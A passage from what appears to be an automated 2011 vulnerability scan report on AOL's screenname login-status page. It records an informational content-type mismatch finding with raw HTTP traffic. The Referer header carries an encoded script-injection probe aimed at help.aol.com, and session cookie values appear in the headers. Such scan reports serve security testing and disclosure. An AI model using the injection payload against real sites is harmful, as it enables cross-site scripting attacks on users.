Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:08 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; Domain=my.screenname.aol.com; Expires=Thu, 07-Apr-2011 12:10:08 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Content-Length: 2770
Connection: close



...[SNIP]...

9. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://my.screenname.aol.com
Path:   /_cqr/login/checkStatus.psp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /_cqr/login/checkStatus.psp HTTP/1.1
Host: my.screenname.aol.com
Proxy-Connection: keep-alive
Referer: http://help.aol.com/help/microsites/search.do?af4cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef2b834d5194=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_LDC=1&-&-&1299520397&1&1299520397&0

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 13:08:33 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgUWtnaFZheXBieUMzVFM2TUwrK29JaTIzd1pRPQ%3D%3D-xwt4pvwxgiNuEXsL62c8YI2ZXtszwMu%2F; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520397&1&1299520397&0; Domain=my.screenname.aol.com; Expires=Thu, 07-Apr-2011 13:08:33 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 23
Content-Length: 23


_sns_isLoggedIn=0;


Report generated by XSS.CX at Tue Mar 08 07:48:35 CST 2011.